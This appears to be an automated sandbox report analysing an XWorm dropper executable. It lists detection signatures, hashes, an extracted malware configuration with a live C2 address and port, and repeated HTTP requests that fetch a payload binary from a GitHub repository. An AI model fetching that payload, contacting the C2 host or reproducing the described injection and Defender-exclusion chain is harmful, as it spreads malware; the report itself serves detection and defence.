Windows Analysis Report
SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe

Overview

General Information

Sample name: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe
Analysis ID: 1434049
MD5: 4e69693538af78e8a1321f0cceb6a731
SHA1: db0f608eda483077993489f0e30b1c298d6c3954
SHA256: 14efadf782fb0ec06e5584aa96f0984fb8664a8d1255c011e1104562d3197b16
Tags: exe
Infos:

Detection

XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Benign windows process drops PE files
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Protects its processes via BreakOnTermination flag
Queues an APC in another process (thread injection)
Sample uses string decryption to hide its real strings
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Potentially Suspicious Malware Callback Communication
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: System File Execution Location Anomaly
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Explorer Process Tree Break
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Schtasks From Env Var Folder
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Found malware configuration
Source: 00000013.00000002.2337628675.0000000002E11000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["94.156.10.234"], "Port": "7777", "Aes key": "7777", "SPL": "<Xwormmm>", "Install file": "USB.exe"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\sihost.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Virustotal: Detection: 50% Perma Link
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe ReversingLabs: Detection: 34%
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Virustotal: Detection: 52% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: 94.156.10.234
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: 7777
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: 1759-3801-5194-1841
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: <Xwormmm>
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: svnchost
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: USB.exe
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: %Temp%
Source: 19.2.explorer.exe.2d20000.0.raw.unpack String decryptor: svnchost.exe
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: explorer.pdbUGP source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000002.2706850189.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000000.2692780157.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000002.2847292126.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000000.2784653334.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000002.2893756726.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000000.2880083955.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe.1.dr
Source: Binary string: explorer.pdb source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000002.2706850189.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000000.2692780157.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000002.2847292126.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000000.2784653334.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000002.2893756726.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000000.2880083955.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe.1.dr

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 94.156.10.234 7777 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 94.156.10.234
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49742 -> 94.156.10.234:7777
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 140.82.113.3 140.82.113.3
Source: Joe Sandbox View IP Address: 185.199.111.133 185.199.111.133
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETERRA-ASBG NETERRA-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43386C0 LoadLibraryA,LoadLibraryA,rand,rand,rand,rand,LoadLibraryA,rand,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,LoadLibraryA,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,InternetOpenA,rand,InternetOpenUrlA,rand,InternetReadFile,realloc,rand,malloc,rand,rand,memcpy,rand,rand,malloc,rand,rand,rand,rand,rand,malloc,rand,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,VirtualAllocEx,rand,rand,rand,rand,rand,rand,rand,rand,WriteProcessMemory,rand,rand,rand,QueueUserAPC,rand,rand,rand,ResumeThread,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CopyFileA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand, 0_2_00007FF6D43386C0
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/raw/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: github.com
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/raw/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: github.com
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: raw.githubusercontent.comIf-None-Match: "9f4c77823fc98a359e8aef8f64c5de22fee4aee9b92eb47dc43fa1972574cf68"Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/raw/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: github.com
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: raw.githubusercontent.comIf-None-Match: "9f4c77823fc98a359e8aef8f64c5de22fee4aee9b92eb47dc43fa1972574cf68"Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/raw/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: github.com
Source: global traffic HTTP traffic detected: GET /zonicleaks/z/main/payload%20(3).bin HTTP/1.1User-Agent: WebReaderHost: raw.githubusercontent.comIf-None-Match: "9f4c77823fc98a359e8aef8f64c5de22fee4aee9b92eb47dc43fa1972574cf68"Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: powershell.exe, 00000010.00000002.2536922848.000001EBC5C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000010.00000002.2536922848.000001EBC5C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micft.cMicRosof
Source: sihost.exe, 00000012.00000003.2301462559.0000024399749000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000005.00000002.1877185737.000001A1230F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1973244541.000001DC2D513000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2174724677.000002176FB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2495302704.000001EBBD54F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000010.00000002.2237154228.000001EBAD709000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000018.00000002.2962219658.0000000006229000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.2962573266.0000000006684000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.m
Source: explorer.exe, 0000001E.00000002.2962379313.00000000065AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.m;
Source: powershell.exe, 0000000E.00000002.2193660586.0000021777FA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.microsoft.co_
Source: powershell.exe, 00000005.00000002.1816747308.000001A1132AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1915028277.000001DC1D6CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2046075543.000002175FD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2237154228.000001EBAD709000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: explorer.exe, 00000001.00000002.2962639265.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1816747308.000001A113081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1915028277.000001DC1D4A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2046075543.000002175FB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2237154228.000001EBAD4E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1816747308.000001A1132AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1915028277.000001DC1D6CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2046075543.000002175FD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2237154228.000001EBAD709000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000010.00000002.2237154228.000001EBAD709000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000023.00000002.2965520612.0000000007F7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3k(
Source: explorer.exe, 00000018.00000002.2964699265.0000000007B90000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3kDk
Source: explorer.exe, 0000001B.00000002.2964865268.000000000756B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3kZ
Source: explorer.exe, 0000001E.00000002.2962920240.0000000006733000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3kalSizeQf#
Source: explorer.exe, 00000018.00000002.2964699265.0000000007B90000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.2964865268.000000000756B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirm
Source: explorer.exe, 00000023.00000002.2965520612.0000000007F7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmH
Source: explorer.exe, 0000001E.00000002.2962920240.0000000006733000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmReading
Source: powershell.exe, 00000005.00000002.1816747308.000001A113081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1915028277.000001DC1D4A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2046075543.000002175FB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2237154228.000001EBAD4E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000010.00000002.2495302704.000001EBBD54F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2495302704.000001EBBD54F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2495302704.000001EBBD54F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BF12000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.00000243996EB000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BF12000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/&
Source: sihost.exe, 00000012.00000002.2304218834.00000243996EB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Om;
Source: powershell.exe, 00000010.00000002.2237154228.000001EBAD709000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ED2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/bO&Q
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F4C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394FE1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1712932032.0000019394F35000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BE7C000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775273180.0000023D3BE25000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BF12000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BEC7000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.00000243996EB000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.00000243996A7000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304949879.0000024399895000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.0000024399658000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01EC99000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862683548.000001E01EEC5000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).bin
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).bin8
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BE7C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).bin;=
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).binal
Source: sihost.exe, 00000012.00000002.2304949879.0000024399895000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).bind
Source: sihost.exe, 00000012.00000002.2304218834.0000024399658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).bindll
Source: sihost.exe, 00000020.00000002.2862417635.000001E01EC99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).binl
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BE7C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).binl8d
Source: sihost.exe, 00000020.00000002.2862417635.000001E01EC99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).binllz
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ED2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/zonicleaks/z/raw/main/payload%20(3).binsI;Q
Source: powershell.exe, 00000005.00000002.1882412776.000001A12B407000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://go.microsoft.cor
Source: powershell.exe, 00000005.00000002.1877185737.000001A1230F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1973244541.000001DC2D513000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2174724677.000002176FB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2495302704.000001EBBD54F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: sihost.exe, 00000004.00000003.1769301918.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775889499.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.000002439971B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubuserconten
Source: sihost.exe, 00000004.00000002.1775889499.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000003.1740805597.0000023D3BF54000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BEC7000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.0000024399707000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.00000243996A7000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED5E000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/
Source: sihost.exe, 00000012.00000002.2304218834.00000243996A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/-
Source: sihost.exe, 00000012.00000002.2304218834.0000024399707000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/1ei
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/2
Source: sihost.exe, 00000012.00000002.2304218834.00000243996A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/7
Source: sihost.exe, 00000012.00000002.2304218834.0000024399707000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/;eS
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/LMEMx
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685931625.0000019394FE2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394FE1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685984154.0000019395026000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Q
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685931625.0000019394FE2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394FE1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685984154.0000019395026000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/_
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685931625.0000019394FE2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394FE1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000003.1685984154.0000019395026000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/g
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/tj
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ED5E000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bin
Source: sihost.exe, 00000004.00000003.1740805597.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000003.2296836323.0000024399722000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bin4
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bin6
Source: sihost.exe, 00000004.00000003.1769301918.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775889499.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bin8
Source: sihost.exe, 00000012.00000002.2304218834.000002439971B000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binA
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BEC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binA-rXv
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binC5
Source: sihost.exe, 00000012.00000002.2304218834.00000243996A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binI
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ECE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binJ
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BEC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binLMEM
Source: sihost.exe, 00000004.00000003.1740862856.0000023D3BF54000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000003.1740805597.0000023D3BF54000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binN
Source: sihost.exe, 00000004.00000003.1769301918.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775889499.0000023D3BF46000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bincoC:
